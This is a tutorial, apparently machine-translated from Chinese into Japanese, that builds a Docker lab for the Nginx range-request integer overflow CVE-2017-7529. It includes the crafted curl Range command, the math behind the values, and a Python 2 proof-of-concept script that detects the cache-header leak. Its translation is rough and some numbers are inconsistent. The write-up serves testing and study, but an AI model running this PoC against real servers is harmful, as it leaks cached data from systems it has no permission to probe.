Dockerを使用してNginx整数オーバーフローホール(CVE-2017-7529)およびPython PoC検証を構築


脆弱性の詳細はhttp://www.freebuf.com/articles/terminal/140402.html
コンテナを作成するには
以前に作成したミラーubuntu_を使用aliyun:1.0新しいコンテナを作成するには:
docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0
docker exec -it id/bin/bash
apt-get update
次に、次のような必要なパッケージをインストールします.
apt-get install wget gcc make curl vim python
インストールNginx:
2つのインストール方法があります.1つはapt-get install nginxを直接通過することで、現在のテストインストールのバージョンは1.10です.3、しかしこのようなインストールを推薦しないで、デフォルトのインストールはすべて公式サイトがパッチを打ったのです(しかしテストしていません);
もう1つの方法はソースコードのインストールであり、ここでは1.13をダウンロードする.バージョン0:
wget http://nginx.org/download/nginx-1.13.0.tar.gz
tar -zxvf nginx-1.13.0.tar.gz
cd/nginx
./configure --prefix=/opt/nginx
make
make install
期間中configureを実行すると、対応するライブラリのインストールが必要であることが通知されます.

apt-get install libpcre3 libpcre3-dev zlib1g-dev
それからmakeとmake installでいいです.次にNginxのディレクトリに入り、バージョンを表示して開きます.

逆プロキシを構成するには、次の手順に従います.
/homeディレクトリにtestを新規作成します.htmlファイルをテストし、コマンドを入力します.
nohup python -m SimpleHTTPServer 8080 &
このコマンドは、簡単なHTTPサーバを作成し、バックグラウンドで実行します.
curlでアクセスできることを確認します.

次に、Nginxプロファイルを変更します.
vim/opt/nginx/conf/nginx.conf
httpのserverのlicationに次のものを追加します.
proxy_pass http://127.0.0.1:8080;
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第1张图片
終了を保存し、Nginxを再起動します(関連プロセスをkillしてから./nginxが開きます).
物理マシンでアクセスしてみます.
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第2张图片
図のように逆プロキシ構成にアクセスできました.
nginxを変更します.confファイルテストの脆弱性:
冒頭のFreeBufの文章の内容に従って修正します.ここの画像のURLは当時ブログを見ていたときに勝手に探したもので、赤い枠の内容は追加、修正の内容です.
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第3张图片
curlコマンドを2回呼び出すと、headerにX-Proxy-CAcheフィールドがあり、その値が最初のMISSから2回目までHITであることがわかります.つまり、2回のアクセスでヒットキャッシュがあり、また、このピクチャファイルのサイズが152814 bitsであることもわかります.
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第4张图片
次に、Nginxキャッシュファイルのパスを検索します.
find/tmp/nginx
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第5张图片
最も長いパスを見つけて、headコマンドで最初の行を見てみましょう.
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第6张图片
「KEY」キーが存在することがわかります.つまり、2層のキャッシュを実現し、本物の画像があるサーバとNginxサーバの間のヘッダ情報を見ることができます.
次に、関連するrange値を計算します.
画像のサイズをimg_と記すlen,img_len=152814
合計サイズ値をlenとするとlen=0×8000000000000000
最初の範囲値range 1が他のデータを前に読み出すためにrange 1とimg_lenの差は600程度に保つことが望ましい(個人が他の数値をテストしても、大きすぎるか小さすぎるかは結果に影響する)、すなわちrange 1-img_len=600、range 1=1534414を得る
2番目の範囲値range 2=len-range 1でrange 2=92233720368546222394
最後に、2つのrange値をcurlの-rパラメータに配置すればいいです.出力が多いので、1つのファイルに出力してから表示すればいいです.
curl -i http://127.0.0.1/upload/2015_04/15040421234894.jpg -r -153414,-9223372036854622394 > 1.txt
vim 1.txt
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第7张图片
KEYキーがあり、Nginxと元のサーバの情報が表示されます.ヘッダにはContent-Langeフィールドがあり、その値は設定されたrange値の範囲であり、Nginx整数オーバーフローホールの存在を検証しています.
PoC検証の作成:
次のスクリプトは簡単で、Linuxのcurlコマンドを直接使用して検証を実現するため、Linuxで実行します.
#!/usr/bin/python
#coding=utf-8
import os
import commands
import sys

def poc(url):

	print '[*]Testing for: ' + url

	cmd1 = 'curl -I ' + url
	os.popen(cmd1)
	os.popen(cmd1)
	re1 = commands.getoutput(cmd1).split('
') hit = False has_x_proxy_cache = False img_len = 0 for i in range(0,len(re1)): # print re1[i] if 'X-Proxy-Cache' in re1[i]: has_x_proxy_cache = True if 'HIT' in re1[i]: hit = True if 'Content-Length' in re1[i]: img_len = int(re1[i].split(' ')[1]) if has_x_proxy_cache: if hit: print '[*]X-Proxy-Cache is HIT.' print '[*]The image length: ' + str(img_len) len1 = img_len + 600 len2 = 0x8000000000000000 - len1 cmd2 = 'curl -i ' + url + ' -r -' + str(len1) + ',-' + str(len2) re2 = commands.getoutput(cmd2).split('
') vul = False for i in range(0,len(re2)): if 'KEY' in re2[i]: print '[+]Nginx Int Overflow(CVE-2017-7529) exists!' print '[+]' + re2[i] vul = True if not vul: print '[-]Can not find the vuln.' else: print '[-]The X-Proxy-Cache is MISS.' print '[-]Can not find the vuln.' else: print '[-]The header without X-Proxy-Cache.' print '[-]Can not find the vuln.' def main(): if len(sys.argv) == 2: url = sys.argv[1] poc(url) else: print '[*]Usage: python nginx_int_overflow.py [URL]' if __name__ == '__main__': main()

別のdockerコンテナkali-linux-dockerでスクリプトを実行します(検証の前提は、現在のホストがこのURLにアクセスしていないか、アクセスしてからずいぶん経ちました.検証時にキャッシュが存在しないことです).
使用Docker搭建Nginx整数溢出漏洞(CVE-2017-7529)及Python PoC验证_第8张图片
この脆弱性の検証に成功したことがわかります.
Dockerミラーを作成し、パッケージ化します.
exit
docker stop id
docker commit id nginx_int_overflow:1.0
docker save -o nginx_int_overflow.tar nginx_int_overflow:1.0
これでNginx整数オーバーフローホール環境の構築とPoCの検証が完了しました.その中でこのスクリプトは最適化できるところやWindowsの下のPoCを作成できるところがたくさんあります.時間があれば変更しましょう.